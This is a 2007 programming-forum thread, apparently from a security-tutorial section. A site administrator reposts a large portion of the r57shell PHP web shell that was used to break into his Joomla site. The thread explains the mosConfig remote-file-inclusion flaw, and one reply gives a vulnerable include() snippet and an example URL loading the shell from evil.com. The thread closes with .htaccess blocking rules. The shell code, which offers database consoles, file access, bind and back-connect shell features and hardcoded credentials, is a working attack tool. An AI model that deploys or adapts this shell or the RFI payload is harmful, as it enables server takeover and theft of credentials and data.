Connect with Facebook Lost Password?


Go Back   CodeCall Programming Forum > Software Development > Tutorials > Security Tutorials

Security Tutorials Tutorials on how to protect your software against crackers.

Reply
 
LinkBack Thread Tools Search this Thread Display Modes
  #1 (permalink)  
Old 10-23-2007, 08:54 AM
Jordan's Avatar   
Administrator
 
Join Date: Nov 2005
Location: Hendersonville, NC
Posts: 18,335
Blog Entries: 90
Rep Power: 20
Jordan is a glorious beacon of lightJordan is a glorious beacon of lightJordan is a glorious beacon of lightJordan is a glorious beacon of lightJordan is a glorious beacon of light
Send a message via ICQ to Jordan Send a message via AIM to Jordan Send a message via MSN to Jordan Send a message via Yahoo to Jordan
Default Joomla! Hacking Script

After CodeCall had been hacked several times I sought more intensely how to beat these script kiddies. I thought that I had secured everything and prevent any further attacks but I found that I was wrong.

Below is the script used to gain access to CodeCall

PHP Code:
<?php 
/******************************************************************************************************/ 
/*       ##   ## 
/*       ##   ## 
/*       ####### 
/*       ##   ## 
/*       ##   ## 
/* 
/* 
/*  r57shell.php - скрипт на пхп позволяющий вам выполнять шелл команды  на сервере через браузер 
/*  Версия: 1.23 
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ 
/******************************************************************************************************/ 

/* ~~~ Настройки  ~~~ */ 
error_reporting(0); 
set_magic_quotes_runtime(0); 
@
set_time_limit(0); 
@
ini_set('max_execution_time',0); 
@
ini_set('output_buffering',0); 
$safe_mode = @ini_get('safe_mode'); 
$version "1.23"
if(
version_compare(phpversion(), '4.1.0') == -1
 { 
 
$_POST   = &$HTTP_POST_VARS
 
$_GET    = &$HTTP_GET_VARS
 
$_SERVER = &$HTTP_SERVER_VARS
 } 
if (@
get_magic_quotes_gpc()) 
 { 
 foreach (
$_POST as $k=>$v
  { 
  
$_POST[$k] = stripslashes($v); 
  } 
 foreach (
$_SERVER as $k=>$v
  { 
  
$_SERVER[$k] = stripslashes($v); 
  } 
 } 

/* ~~~ Аутентификация ~~~ */ 

// $auth = 1; - Аутентификация включена 
// $auth = 0; - Аутентификация выключена 
$auth 0

// Логин и пароль для доступа к скрипту 
// НЕ ЗАБУДЬТЕ СМЕНИТЬ ПЕРЕД РАЗМЕЩЕНИЕМ НА СЕРВЕРЕ!!! 
$name='hackhell'// логин пользователя 
$pass='biribizidurdursun'// пароль пользователя 

if($auth == 1) { 
if (!isset(
$_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass
   { 
   
header('WWW-Authenticate: Basic realm="shell"'); 
   
header('HTTP/1.0 401 Unauthorized'); 
   exit(
"<b><a href=http://www.hackhell.com>www.hackhell.com</a> : Access Denied</b>"); 
   } 

$head '<!-- Здравствуй  Вася --> 
<html> 
<head> 
<title>shell</title> 
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> 

<STYLE> 
tr { 
BORDER-RIGHT:  #aaaaaa 1px solid; 
BORDER-TOP:    #eeeeee 1px solid; 
BORDER-LEFT:   #eeeeee 1px solid; 
BORDER-BOTTOM: #aaaaaa 1px solid; 

td { 
BORDER-RIGHT:  #aaaaaa 1px solid; 
BORDER-TOP:    #eeeeee 1px solid; 
BORDER-LEFT:   #eeeeee 1px solid; 
BORDER-BOTTOM: #aaaaaa 1px solid; 

.table1 { 
BORDER-RIGHT:  #cccccc 0px; 
BORDER-TOP:    #cccccc 0px; 
BORDER-LEFT:   #cccccc 0px; 
BORDER-BOTTOM: #cccccc 0px; 
BACKGROUND-COLOR: #D4D0C8; 

.td1 { 
BORDER-RIGHT:  #cccccc 0px; 
BORDER-TOP:    #cccccc 0px; 
BORDER-LEFT:   #cccccc 0px; 
BORDER-BOTTOM: #cccccc 0px; 
font: 7pt Verdana; 

.tr1 { 
BORDER-RIGHT:  #cccccc 0px; 
BORDER-TOP:    #cccccc 0px; 
BORDER-LEFT:   #cccccc 0px; 
BORDER-BOTTOM: #cccccc 0px; 

table { 
BORDER-RIGHT:  #eeeeee 1px outset; 
BORDER-TOP:    #eeeeee 1px outset; 
BORDER-LEFT:   #eeeeee 1px outset; 
BORDER-BOTTOM: #eeeeee 1px outset; 
BACKGROUND-COLOR: #D4D0C8; 

input { 
BORDER-RIGHT:  #ffffff 1px solid; 
BORDER-TOP:    #999999 1px solid; 
BORDER-LEFT:   #999999 1px solid; 
BORDER-BOTTOM: #ffffff 1px solid; 
BACKGROUND-COLOR: #e4e0d8; 
font: 8pt Verdana; 

select { 
BORDER-RIGHT:  #ffffff 1px solid; 
BORDER-TOP:    #999999 1px solid; 
BORDER-LEFT:   #999999 1px solid; 
BORDER-BOTTOM: #ffffff 1px solid; 
BACKGROUND-COLOR: #e4e0d8; 
font: 8pt Verdana; 

submit { 
BORDER-RIGHT:  buttonhighlight 2px outset; 
BORDER-TOP:    buttonhighlight 2px outset; 
BORDER-LEFT:   buttonhighlight 2px outset; 
BORDER-BOTTOM: buttonhighlight 2px outset; 
BACKGROUND-COLOR: #e4e0d8; 
width: 30%; 

textarea { 
BORDER-RIGHT:  #ffffff 1px solid; 
BORDER-TOP:    #999999 1px solid; 
BORDER-LEFT:   #999999 1px solid; 
BORDER-BOTTOM: #ffffff 1px solid; 
BACKGROUND-COLOR: #e4e0d8; 
font: Fixedsys bold; 

BODY { 
margin-top: 1px; 
margin-right: 1px; 
margin-bottom: 1px; 
margin-left: 1px; 

A:link {COLOR:red; TEXT-DECORATION: none} 
A:visited { COLOR:red; TEXT-DECORATION: none} 
A:active {COLOR:red; TEXT-DECORATION: none} 
A:hover {color:blue;TEXT-DECORATION: none} 
</STYLE>'

if(isset(
$_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } 
if (
$_POST['cmd']=="db_query"
 { 
  echo 
$head
  switch(
$_POST['db']) 
  { 
  case 
'MySQL'
  if(empty(
$_POST['db_port'])) { $_POST['db_port'] = '3306'; } 
  
$db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); 
  if(
$db
   { 
    if(!empty(
$_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } 
    
$querys = @explode(';',$_POST['db_query']); 
    foreach(
$querys as $num=>$query
     { 
      if(
strlen($query)>5){ 
      echo 
"<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"
      
$res = @mysql_query($query,$db); 
      
$error = @mysql_error($db); 
      if(
$error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } 
      else { 
      if (@
mysql_num_rows($res) > 0
       { 
       
$sql2 $sql $keys $values ''
       while ((
$row = @mysql_fetch_assoc($res))) 
        { 
        
$keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); 
        
$values = @array_values($row); 
        foreach(
$values as $k=>$v) { $values[$k] = htmlspecialchars($v);} 
        
$values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); 
        
$sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"
        } 
       echo 
"<table width=100%>"
       
$sql  "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"
       
$sql .= $sql2
       echo 
$sql
       echo 
"</table><br>"
       } 
      else { if((
$rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } 
      } 
      @
mysql_free_result($res); 
      } 
     } 
    @
mysql_close($db); 
   } 
  else echo 
"<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>"
  break; 
  case 
'MSSQL'
  if(empty(
$_POST['db_port'])) { $_POST['db_port'] = '1433'; } 
  
$db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); 
  if(
$db
   { 
    if(!empty(
$_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } 
    
$querys = @explode(';',$_POST['db_query']); 
    foreach(
$querys as $num=>$query
     { 
      if(
strlen($query)>5){ 
      echo 
"<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"
      
$res = @mssql_query($query,$db); 
      if (@
mssql_num_rows($res) > 0
       { 
       
$sql2 $sql $keys $values ''
       while ((
$row = @mssql_fetch_assoc($res))) 
        { 
        
$keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); 
        
$values = @array_values($row); 
        foreach(
$values as $k=>$v) { $values[$k] = htmlspecialchars($v);} 
        
$values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); 
        
$sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"
        } 
       echo 
"<table width=100%>"
       
$sql  "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"
       
$sql .= $sql2
       echo 
$sql
       echo 
"</table><br>"
       } 
      
/* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }} */ 
      
@mssql_free_result($res); 
      } 
     } 
    @
mssql_close($db); 
   } 
  else echo 
"<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>"
  break; 
  case 
'PostgreSQL'
  if(empty(
$_POST['db_port'])) { $_POST['db_port'] = '5432'; } 
  
$str "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"
  
$db = @pg_connect($str); 
  if(
$db
   { 
    
$querys = @explode(';',$_POST['db_query']); 
    foreach(
$querys as $num=>$query
     { 
      if(
strlen($query)>5){ 
      echo 
"<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"
      
$res = @pg_query($db,$query); 
      
$error = @pg_errormessage($db); 
      if(
$error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } 
      else { 
      if (@
pg_num_rows($res) > 0
       { 
       
$sql2 $sql $keys $values ''
       while ((
$row = @pg_fetch_assoc($res))) 
        { 
        
$keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); 
        
$values = @array_values($row); 
        foreach(
$values as $k=>$v) { $values[$k] = htmlspecialchars($v);} 
        
$values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); 
        
$sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"
        } 
       echo 
"<table width=100%>"
       
$sql  "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"
       
$sql .= $sql2
       echo 
$sql
       echo 
"</table><br>"
       } 
      else { if((
$rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } 
      } 
      @
pg_free_result($res); 
      } 
     } 
    @
pg_close($db); 
   } 
  else echo 
"<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>"
  break; 
  case 
'Oracle'
  
$db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); 
  if((
$error = @ocierror())) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; } 
  else 
   { 
   
$querys = @explode(';',$_POST['db_query']); 
   foreach(
$querys as $num=>$query
    { 
    if(
strlen($query)>5) { 
    echo 
"<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"
    
$stat = @ociparse($db$query); 
    @
ociexecute($stat); 
    if((
$error = @ocierror())) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; } 
    else 
     { 
     
$rowcount = @ocirowcount($stat); 
     if(
$rowcount != 0) {echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";} 
     else { 
     echo 
"<table width=100%><tr>"
     for (
$j 1$j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".htmlspecialchars(@ocicolumnname($stat$j))."&nbsp;</b></font></td>"; } 
     echo 
"</tr>"
     while(
ocifetch($stat)) 
      { 
      echo 
"<tr>"
      for (
$j 1$j <= @ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2>&nbsp;".htmlspecialchars(@ociresult($stat$j))."&nbsp;</font></td>"; } 
      echo 
"</tr>"
      } 
     echo 
"</table><br>"
     } 
     @
ocifreestatement($stat); 
     } 
    } 
    } 
   @
ocilogoff($db); 
   } 
  break; 
  } 
 echo 
"<form name=form method=POST>"
 echo 
in('hidden','db',0,$_POST['db']); 
 echo 
in('hidden','db_port',0,$_POST['db_port']); 
 echo 
in('hidden','mysql_l',0,$_POST['mysql_l']); 
 echo 
in('hidden','mysql_p',0,$_POST['mysql_p']); 
 echo 
in('hidden','mysql_db',0,$_POST['mysql_db']); 
 echo 
in('hidden','cmd',0,'db_query'); 
 echo 
"<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"
 echo 
"</form>"
 echo 
"<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); 
 } 
if(isset(
$_GET['delete'])) 
 { 
   @
unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); 
 } 
if(isset(
$_GET['tmp'])) 
 { 
   @
unlink("/tmp/bdpl"); 
   @
unlink("/tmp/back"); 
   @
unlink("/tmp/bd"); 
   @
unlink("/tmp/bd.c"); 
   @
unlink("/tmp/dp"); 
   @
unlink("/tmp/dpc"); 
   @
unlink("/tmp/dpc.c"); 
 } 
if(isset(
$_GET['phpini'])) 

echo 
$head
function 
U_value($value
 { 
 if (
$value == '') return '<i>no value</i>'
 if (@
is_bool($value)) return $value 'TRUE' 'FALSE'
 if (
$value === null) return 'NULL'
 if (@
is_object($value)) $value = (array) $value
 if (@
is_array($value)) 
 { 
 @
ob_start(); 
 
print_r($value); 
 
$value = @ob_get_contents(); 
 @
ob_end_clean(); 
 } 
 return 
U_wordwrap((string) $value); 
 } 
function 
U_wordwrap($str
 { 
 
$str = @wordwrap(@htmlspecialchars($str), 100'<wbr />'true); 
 return @
preg_replace('!(&[^;]*)<wbr />([^;]*;)!''$1$2<wbr />'$str); 
 } 
if (@
function_exists('ini_get_all')) 
 { 
 
$r ''
 echo 
'<table width=100%>''<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'
 foreach (@
ini_get_all() as $key=>$value
  { 
  
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'
  } 
 echo 
$r
 echo 
'</table>'
 } 
echo 
"<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"
die(); 

if(isset(
$_GET['cpu'])) 
 { 
   echo 
$head
   echo 
'<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'
   
$cpuf = @file("cpuinfo"); 
   if(
$cpuf
    { 
      
$c = @sizeof($cpuf); 
      for(
$i=0;$i<$c;$i++) 
        { 
          
$info = @explode(":",$cpuf[$i]); 
          if(
$info[1]==""){ $info[1]="---"; } 
          
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'
        } 
      echo 
$r
    } 
   else 
    { 
      echo 
'<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'
    } 
   echo 
'</table>'
   echo 
"<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"
   die(); 
 } 
if(isset(
$_GET['mem'])) 
 { 
   echo 
$head
   echo 
'<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'
   
$memf = @file("meminfo"); 
   if(
$memf
    { 
      
$c sizeof($memf); 
      for(
$i=0;$i<$c;$i++) 
        { 
          
$info explode(":",$memf[$i]); 
          if(
$info[1]==""){ $info[1]="---"; } 
          
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'
        } 
      echo 
$r
    } 
   else 
    { 
      echo 
'<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'
    } 
   echo 
'</table>'
   echo 
"<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"
   die(); 
 } 
/* 
Выбор языка 
$language='eng' - русский 
$language='ru' - английский 
*/ 
$language='eng'
$lang=array( 
'ru_text1' =>'Выполненная команда'
'ru_text2' =>'Выполнение команд на сервере'
'ru_text3' =>'Выполнить команду'
'ru_text4' =>'Рабочая директория'
'ru_text5' =>'Загрузка файлов на сервер'
'ru_text6' =>'Локальный файл'
'ru_text7' =>'Алиасы'
'ru_text8' =>'Выберите алиас'
'ru_butt1' =>'Выполнить'
'ru_butt2' =>'Загрузить'
'ru_text9' =>'Открытие порта и привязка его к /bin/bash'
'ru_text10'=>'Открыть порт'
'ru_text11'=>'Пароль для доступа'
'ru_butt3' =>'Открыть'
'ru_text12'=>'back-connect'
'ru_text13'=>'IP-адрес'
'ru_text14'=>'Порт'
'ru_butt4' =>'Выполнить'
'ru_text15'=>'Загрузка файлов с удаленного сервера'
'ru_text16'=>'Использовать'
'ru_text17'=>'Удаленный файл'
'ru_text18'=>'Локальный файл'
'ru_text19'=>'Exploits'
'ru_text20'=>'Использовать'
'ru_text21'=>'Новое имя'
'ru_text22'=>'datapipe'
'ru_text23'=>'Локальный порт'
'ru_text24'=>'Удаленный хост'
'ru_text25'=>'Удаленный порт'
'ru_text26'=>'Использовать'
'ru_butt5' =>'Запустить'
'ru_text28'=>'Работа в safe_mode'
'ru_text29'=>'Доступ запрещен'
'ru_butt6' =>'Сменить'
'ru_text30'=>'Просмотр файла'
'ru_butt7' =>'Вывести'
'ru_text31'=>'Файл не найден'
'ru_text32'=>'Выполнение PHP кода'
'ru_text33'=>'Проверка возможности обхода ограничений open_basedir через функции cURL'
'ru_butt8' =>'Проверить'
'ru_text34'=>'Проверка возможности обхода ограничений safe_mode через функцию include'
'ru_text35'=>'Проверка возможности обхода ограничений safe_mode через загрузку файла в mysql'
'ru_text36'=>'База'
'ru_text37'=>'Логин'
'ru_text38'=>'Пароль'
'ru_text39'=>'Таблица'
'ru_text40'=>'Дамп таблицы базы данных'
'ru_butt9' =>'Дамп'
'ru_text41'=>'Сохранить в файле'
'ru_text42'=>'Редактирование файла'
'ru_text43'=>'Редактировать файл'
'ru_butt10'=>'Сохранить'
'ru_butt11'=>'Редактировать'
'ru_text44'=>'Редактирование файла невозможно! Доступ только для чтения!'
'ru_text45'=>'Файл сохранен'
'ru_text46'=>'Просмотр phpinfo()'
'ru_text47'=>'Просмотр настроек php.ini'
'ru_text48'=>'Удаление временных файлов'
'ru_text49'=>'Удаление скрипта с сервера'
'ru_text50'=>'Информация о процессоре'
'ru_text51'=>'Информация о памяти'
'ru_text52'=>'Текст для поиска'
'ru_text53'=>'Искать в папке'
'ru_text54'=>'Поиск текста в файлах'
'ru_butt12'=>'Найти'
'ru_text55'=>'Только в файлах'
'ru_text56'=>'Ничего не найдено'
'ru_text57'=>'Создать/Удалить Файл/Директорию'
'ru_text58'=>'Имя'
'ru_text59'=>'Файл'
'ru_text60'=>'Директорию'
'ru_butt13'=>'Создать/Удалить'

// See attached script for complete version!

?>
How this script works
Using injection it gives the abuser full access to all of your files in a semi-shell environment. The user has the ability to execute any commands such as 'ls', 'vi', or even 'rm'. This means they can read all of your configuration files which contain all of your SQL passwords.

The call function replaces mosConfig_absolute_path in your Joomla! configuration.

Example Call
http://www.codecall.net/?&mosConfig_...e.com/c57.txt?

Results
See attachment

Solution
The easiest solution is to turn on the SEO feature of Joomla! in your Global Configuration of the Administration Panel. Don't forget to rename htaccess.txt to .htaccess. This will cause a call like above to error 403 Forbidden.
Attached Thumbnails
joomla-hacking-script-joomla_hack.gif  
Attached Files To view attachments in this forum your post count must be 1 or greater. You currently have 0 posts.

Last edited by Jordan; 10-23-2007 at 09:06 AM..
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #2 (permalink)  
Old 10-23-2007, 12:08 PM
John's Avatar   
Co-Administrator
 
Join Date: Jul 2006
Age: 20
Posts: 5,305
Blog Entries: 24
Rep Power: 20
John is just really niceJohn is just really niceJohn is just really niceJohn is just really niceJohn is just really nice
Send a message via AIM to John Send a message via MSN to John
Default

Very nice
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #3 (permalink)  
Old 10-27-2007, 04:39 AM
TcM's Avatar   
TcM TcM is offline
Code Warrior
 
Join Date: Aug 2006
Posts: 9,798
Blog Entries: 6
Rep Power: 82
TcM is a name known to allTcM is a name known to allTcM is a name known to allTcM is a name known to allTcM is a name known to allTcM is a name known to all
Default

Haha OWNED! I wonder how you found that script!! And as far as I can see it only works with local files (ie where the script is hosted) so still.. how do they upload it to your server?

Last edited by TcM; 10-27-2007 at 04:44 AM..
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #4 (permalink)  
Old 10-28-2007, 10:01 AM
nullbyte's Avatar   
Programming Professional
 
Join Date: Oct 2007
Location: ~
Age: 15
Posts: 300
Rep Power: 10
nullbyte will become famous soon enoughnullbyte will become famous soon enough
Default

Is that r57?

@TheComputerMaster
It doesn't have to be uploaded. Is called RFI (remote file inclusion), like:
http://www.url.com/index.php?page=ht...l.com/r57.php?
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #5 (permalink)  
Old 10-28-2007, 04:38 PM
TcM's Avatar   
TcM TcM is offline
Code Warrior
 
Join Date: Aug 2006
Posts: 9,798
Blog Entries: 6
Rep Power: 82
TcM is a name known to allTcM is a name known to allTcM is a name known to allTcM is a name known to allTcM is a name known to allTcM is a name known to all
Default

I still can't understand... I mean how did he use the RFI on that script?! Where did he enter that?
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #6 (permalink)  
Old 10-29-2007, 02:35 AM
nullbyte's Avatar   
Programming Professional
 
Join Date: Oct 2007
Location: ~
Age: 15
Posts: 300
Rep Power: 10
nullbyte will become famous soon enoughnullbyte will become famous soon enough
Default

Well, look at the following PHP Script:
PHP Code:
<?php
if(isset($_REQUEST['doc']))
{
    
$doc $_REQUEST['doc'];
    
//Anti RFI-protection
    
$doc str_replace('http://','',$doc);
    include(
$doc);
}
?>
The URL would be for example:
Code:
http://example.com/index.php?doc=location_of_true_document.html
Well, that script is vulnerable, so, we can replace location_of_true_document.html with our address to the c99/r57 shell.
Code:
http://example.com/index.php?doc=http://evil.com/r57.php?
PHP on the victim's site will run our remotely accesed script

Hope you understand now.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #7 (permalink)  
Old 10-29-2007, 09:31 AM
TcM's Avatar   
TcM TcM is offline
Code Warrior
 
Join Date: Aug 2006
Posts: 9,798
Blog Entries: 6
Rep Power: 82
TcM is a name known to allTcM is a name known to allTcM is a name known to allTcM is a name known to allTcM is a name known to allTcM is a name known to all
Default

So we take the vulnerable url, for example http://www.joomlaisvunerable.com/ind..._is_hosted.php

If this is right then I understood.

Thanks! It's just using the $_GET command.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #8 (permalink)  
Old 11-01-2007, 06:23 PM
Learning Programmer
 
Join Date: Oct 2007
Posts: 60
Rep Power: 0
GMailGuy is an unknown quantity at this point
Default

So turning on the Joomla's SEO feature on will disable the $_GET command.. or why does it stop it from being vulnerable?
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #9 (permalink)  
Old 11-01-2007, 06:53 PM
Kaabi
Guest
 
Posts: n/a
Default

While I understood very little of that code, I still appreciate it's complexity. And nice work for finding it!
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #10 (permalink)  
Old 11-02-2007, 06:34 AM
Jordan's Avatar   
Administrator
 
Join Date: Nov 2005
Location: Hendersonville, NC
Posts: 18,335
Blog Entries: 90
Rep Power: 20
Jordan is a glorious beacon of lightJordan is a glorious beacon of lightJordan is a glorious beacon of lightJordan is a glorious beacon of lightJordan is a glorious beacon of light
Send a message via ICQ to Jordan Send a message via AIM to Jordan Send a message via MSN to Jordan Send a message via Yahoo to Jordan
Default

Actually, it isn't the SEO component in Joomla! that blocks it and you could easily block this with an .htaccess file (which is what happens). When you enable the SEO component you have to enable their default .htaccess file by renaming htaccess.txt to .htaccess.

Anyway, inside of this .htaccess file is something that blocks the mosConfig from being set:

Code:
# Block out any script trying to set a mosConfig value through the URL
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
Along with that there are several other security blocks:

Code:
# Block out any script trying to base64_encode crap to send via URL
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
# Block out any script that includes a <script> tag in URL
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Send all blocked request to homepage with 403 Forbidden error!
RewriteRule ^(.*)$ index.php [F,L]
You could leave the SEO component disabled but I do recommend you put all of these values in a .htaccess on your Joomla! ran site.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Reply



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
JavaScript:Tutorial, Using an External Script TcM Javascript 8 06-05-2009 02:40 AM
Project: ionFiles - Joomla Simple File Download Jordan Community Projects 360 05-23-2009 01:02 PM
vBulletin Top Posters for Joomla! Jordan Community Projects 11 05-21-2009 10:58 AM
Hacking Perl Script falco85 Perl 10 01-30-2009 08:13 AM
vBulletin No Replies for Joomla! Jordan Community Projects 10 01-01-2009 04:49 PM


All times are GMT -5. The time now is 08:19 AM.

Freelance Jobs

XML/XSL: Need code for Book with Chapers using XML
Create an XML file for a book of your creation, and a basic CSS file that will format it to display ...
Earn: $40.00


C++/C: Simple firework cue sequencer
What I require is a rework of a simple cue sequencer. I have a piece of hardware (an Arduino boar...
Earn: $50.00


HTML/XHTML: Menu Rework - ASCIIBin
I'm placing this in the HTML/XHTML section of the Freelance site but you are not limited to HTML. Wh...
Earn: $20.00



CodeCall Goal

Goal #1: 1,000 Blogs
Goal #2: 1,000 Wiki Pages
Goal #3: 300,000 Posts
Goal #4: 20,000 Threads
Done: 30%, 23%, 55%, 75%

Ads